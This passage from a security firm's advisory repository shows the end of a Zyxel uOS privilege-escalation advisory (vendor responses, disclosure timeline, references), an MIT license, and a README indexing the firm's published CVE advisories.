attack surface of CVE-2025-1731. Nevertheless, we appreciate your finding and 311 | will ensure it is acknowledged in CVE-2025-1731." 312 | 313 | We regret any confusion caused by this decision. 314 | 315 | As for the lack of sticky bit in the `/tmp` directory, Zyxel stated the 316 | following: 317 | 318 | "We currently do not consider this a security issue. However, we are open to 319 | reevaluating if you can provide a clear example demonstrating how it could 320 | result in a denial of service (DoS) problem. Otherwise, we will treat this as 321 | an implementation flaw rather than a vulnerability." 322 | 323 | Please refer to Zyxel's official security advisory for patching information. We 324 | have not checked the effectiveness of the fixes. 325 | 326 | --[ 6 - Disclosure timeline 327 | 328 | The coordinated disclosure timeline follows: 329 | 330 | 2025-02-05: Alessandro Sgreccia contacted us to propose a collaboration. 331 | 2025-03-10: Zyxel PSIRT was notified via and 332 | acknowledged receipt of our advisory and PoC exploit. 333 | 2025-03-17: Zyxel PSIRT communicated their intention of using the 334 | already-assigned CVE-2025-1731 as the identifier for our LPE. 335 | 2025-03-17: We disagreed with Zyxel PSIRT and explained that using an unrelated 336 | CVE identifier for our issues would likely cause confusion. 337 | 2025-03-18: Zyxel PSIRT confirmed their decision of not assigning a separate 338 | CVE ID to the local privilege escalation issue; they also stated 339 | that they don't consider the lack of sticky bit in `/tmp` a 340 | security issue, but simply an implementation flaw. 341 | 2025-04-15: Zyxel released version 1.32 of its firmware that includes fixes for 342 | the reported vulnerabilities. 343 | 2025-04-22: Zyxel PSIRT published their security advisory [3]. 344 | 2025-04-22: Alessandro Sgreccia published his security advisory. 345 | 2025-04-23: HN Security published this advisory with full details. 346 | 347 | --[ 7 - Acknowledgments 348 | 349 | We would like to thank Alessandro Sgreccia (@rainpwn) of HackerHood for 350 | involving us in his research and for kindly providing access to his USG FLEX 351 | 100H test device. It's been a pleasure working together! 352 | 353 | --[ 8 - References 354 | 355 | [1] https://support.zyxel.eu/hc/en-us/sections/17702103398546-Series-USG-FLEX-H 356 | [2] https://security.humanativaspa.it/tag/zyxel/ 357 | [3] https://0xdeadc0de.xyz/blog/cve-2025-1731_cve-2025-1732 358 | [4] https://www.zdnet.com/article/oracles-unbreakable-toy-story/ 359 | [5] https://security.humanativaspa.it/streamlining-vulnerability-research-with-ida-pro-and-rust/ 360 | [6] https://security.humanativaspa.it/aiding-reverse-engineering-with-rust-and-a-local-llm/ 361 | [7] https://github.com/0xdea/haruspex 362 | [8] https://github.com/0xdea/oneiromancer 363 | [9] https://github.com/0xdea/exploits/blob/master/zyxel/raptor_fermion 364 | 365 | Copyright (c) 2025 Marco Ivaldi and Humanativa Group. All rights reserved. 366 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 HN Security S.r.l. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # vulnerability reports 2 | 3 | HN Security's advisories. 4 | 5 | https://security.humanativaspa.it/ 6 | 7 | ## Solaris 8 | * [**HNS-2022-01-dtprintinfo**](https://github.com/hnsecurity/vulns/blob/main/HNS-2022-01-dtprintinfo.txt). Multiple vulnerabilities in Solaris dtprintinfo and libXm/libXpm (CVE-2022-46285, CVE-2023-24039, CVE-2023-24040). 9 | 10 | ## Zyxel 11 | * [**HNS-2022-02-zyxel-zysh**](https://github.com/hnsecurity/vulns/blob/main/HNS-2022-02-zyxel-zysh.txt). Multiple vulnerabilities in Zyxel zysh (CVE-2022-26531, CVE-2022-26532). 12 | * [**HNS-2025-10-zyxel-fermion**](https://github.com/hnsecurity/vulns/blob/main//HNS-2025-10-zyxel-fermion.txt). Local privilege escalation in Zyxel uOS (CVE-2025-1731, CVE-2025-1732). 13 | 14 | ## Zephyr 15 | * [**HNS-2023-03-zephyr**](https://github.com/hnsecurity/vulns/blob/main/HNS-2023-03-zephyr.txt). Multiple vulnerabilities in Zephyr RTOS (CVE-2023-3725, CVE-2023-4257, CVE-2023-4259, CVE-2023-4260, CVE-2023-4261, CVE-2023-4262, CVE-2023-4263, CVE-2023-4264, CVE-2023-4265, CVE-2023-5139, CVE-2023-5184, CVE-2023-5753). 16 | 17 | ## RT-Thread 18 | * [**HNS-2024-05-rt-thread**](https://github.com/hnsecurity/vulns/blob/main/HNS-2024-05-rt-thread.txt). Multiple vulnerabilities in RT-Thread RTOS (CVE-2024-24334, CVE-2024-24335, CVE-2024-25388, CVE-2024-25389, CVE-2024-25390, CVE-2024-25391, CVE-2024-25392, CVE-2024-25393, CVE-2024-25394, CVE-2024-25395). 19 | 20 | ## ThreadX 21 | * [**HNS-2024-06-threadx**](https://github.com/hnsecurity/vulns/blob/main/HNS-2024-06-threadx.txt). Multiple vulnerabilities in Eclipse ThreadX (CVE-2024-2212, CVE-2024-2214, CVE-2024-2452). 22 | 23 | ## RIOT 24 | * [**HNS-2024-07-riot**](https://github.com/hnsecurity/vulns/blob/main/HNS-2024-07-riot.txt). Multiple vulnerabilities in RIOT OS (CVE-2024-31225, CVE-2024-32017, CVE-2024-32018). 25 | 26 | ## Keycloak 27 | * [**HNS-2024-08-Keycloak**](https://github.com/hnsecurity/vulns/blob/main/HNS-2024-08-Keycloak.md). Multiple authentication and authorization vulnerabilities in Keycloak (CVE-2024-3656). 28 | * [**HNS-2024-09-Keycloak**](https://github.com/hnsecurity/vulns/blob/main/HNS-2024-09-Keycloak.md). Multiple race conditions in Keycloak's anti-brute force mechanism (CVE-2024-4629). 29 | 30 | ## Others 31 | * [**HNS-2023-04-tinydir**](https://github.com/hnsecurity/vulns/blob/main/HNS-2023-04-tinydir.txt). Buffer overflow vulnerabilities with long path names in TinyDir (CVE-2023-49287). 32 | --------------------------------------------------------------------------------